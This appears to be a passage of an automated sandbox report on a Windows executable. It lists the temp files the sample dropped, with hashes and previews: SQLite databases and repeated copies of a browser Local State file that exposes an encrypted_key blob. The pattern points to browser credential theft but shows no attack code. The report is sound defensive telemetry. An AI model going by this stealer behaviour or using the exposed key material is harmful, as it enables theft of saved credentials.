SSDEEP:	12:TLVfFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLLF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	6DB499CAD9694D6B2F20205C657FE2FD
SHA1:	7CFAA5EFFA50E5B878175CF1221E2A7C345EEE06
SHA-256:	AB72F30C3F30343D975E8FA2A116EB58C67A7CC31E96782537FE5F93E82AF4FC
SHA-512:	0EEB34B688C4EF7F49D0F0E7F78203B844EEF607A9767DC8FAC33F7E0F0DB765FCA659E2EDEC09F50980E1A29264224871552F923530A40E91E63C65FD2DAD6B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4E89.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5711805239155107
Encrypted:	false
SSDEEP:	12:TLVfFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLLF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	6DB499CAD9694D6B2F20205C657FE2FD
SHA1:	7CFAA5EFFA50E5B878175CF1221E2A7C345EEE06
SHA-256:	AB72F30C3F30343D975E8FA2A116EB58C67A7CC31E96782537FE5F93E82AF4FC
SHA-512:	0EEB34B688C4EF7F49D0F0E7F78203B844EEF607A9767DC8FAC33F7E0F0DB765FCA659E2EDEC09F50980E1A29264224871552F923530A40E91E63C65FD2DAD6B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4F55.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5110032006906435
Encrypted:	false
SSDEEP:	12:TL1t4ufFdbXGwcFOaOndOtJRbGMNmt2SH/+eVpUHFxOUwa5q0S93BPZ75fOS:TLLJLbXaFpEO5bNmISHn06UwcQPx5fB
MD5:	3219CA933D97DF8F5931EF68B7EEDF04
SHA1:	D79FEE14CBDE4E92447996C9FB37ADCB673B6138
SHA-256:	21DE8DD11459659421BA1DBC554C15A3756FF1A38CC797A139D407F1F94092B4
SHA-512:	A3CFCC17612975C5630B49736F4B535555D06B23E3523E46495020B8B55B2361C4B5EF39FE649273F2D323BE0EC138707E67DC59EB719BA8EF676439491662AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5050.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 31, cookie 0x17, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.5386521154163488
Encrypted:	false
SSDEEP:	96:OH5QdSIHfFZx+haloSdr5qrqZrWZpdc1rBRyI4Xp86B+2DrOC6afM:OH5aZ5eMWZpyBv886B+orOafM
MD5:	99C42186E239B7A9DFEC48B019D0A461
SHA1:	C9FEA25A06F52E4542CA5FC1FAA83083CA15ECA1
SHA-256:	27A92F46EE4A69521ACBACC7FAC4309D5C143150FEA83354E67F2472A748F1B3
SHA-512:	A3E840EE53C4DFFAB6C876A3F6567D6CA2DC26AE9DCB8EA4E36B1F318C1834B5D44BDF718E57A3D768083F21C7FD61E87CDEC607E1D2F6E7415664D467AA3390
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\517A.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 1, database pages 23, cookie 0xd, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	47104
Entropy (8bit):	0.7967866507446053
Encrypted:	false
SSDEEP:	96:+SXNKLyeymwHCn8MouOFlRGiZqYtFTCG:+SfHG7qqifTCG
MD5:	71EB34F938FF021CA4963A578759CBCA
SHA1:	413D4E22241AB5CA9DC843AE60EBCF2268ED823F
SHA-256:	380CE9F481BB5399106F8F01567DF633EF09F06186F9F8432BA31C69DFC7E350
SHA-512:	60709799611A53EB3636F4ED88E5B62B45FA92119A6F8CA40131417D6169E51BFD984A850D30BAF4C8750AAD16A92A97150E06257349696273238A63E0538137
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\52B3.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:YNDYsp+:YND2
MD5:	BE5DD481C61E2B68E59A586D1226CA82
SHA1:	6A656AA1A7BDECC0EEBE7F20ED6A342635CDB938
SHA-256:	C67092D05B4F5A91EFBE49DC5E6C03C157FE74417F0E3602332B8DFA63B2C4D2
SHA-512:	E39A218E0FAA03CF63C5825FABCA7EF4C163F1D8FB6D5AA938BD16D32E98B8EB08DD29E9D2FD428BA08D9F7E4CBEC5D19F46F4414E4D13833D3C8C3BCB372A98
Malicious:	false
Preview:	....C..0.f=@.&.......M....K...R

C:\Users\user\AppData\Local\Temp\52E3.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:YNDYsp+:YND2
MD5:	BE5DD481C61E2B68E59A586D1226CA82
SHA1:	6A656AA1A7BDECC0EEBE7F20ED6A342635CDB938
SHA-256:	C67092D05B4F5A91EFBE49DC5E6C03C157FE74417F0E3602332B8DFA63B2C4D2
SHA-512:	E39A218E0FAA03CF63C5825FABCA7EF4C163F1D8FB6D5AA938BD16D32E98B8EB08DD29E9D2FD428BA08D9F7E4CBEC5D19F46F4414E4D13833D3C8C3BCB372A98
Malicious:	false
Preview:	....C..0.f=@.&.......M....K...R

C:\Users\user\AppData\Local\Temp\52E4.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:YNDYsp+:YND2
MD5:	BE5DD481C61E2B68E59A586D1226CA82
SHA1:	6A656AA1A7BDECC0EEBE7F20ED6A342635CDB938
SHA-256:	C67092D05B4F5A91EFBE49DC5E6C03C157FE74417F0E3602332B8DFA63B2C4D2
SHA-512:	E39A218E0FAA03CF63C5825FABCA7EF4C163F1D8FB6D5AA938BD16D32E98B8EB08DD29E9D2FD428BA08D9F7E4CBEC5D19F46F4414E4D13833D3C8C3BCB372A98
Malicious:	false
Preview:	....C..0.f=@.&.......M....K...R

C:\Users\user\AppData\Local\Temp\5343.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\540F.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\54AC.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5569.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5635.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5701.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\57CD.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\585B.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5956.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5A22.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5AEE.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
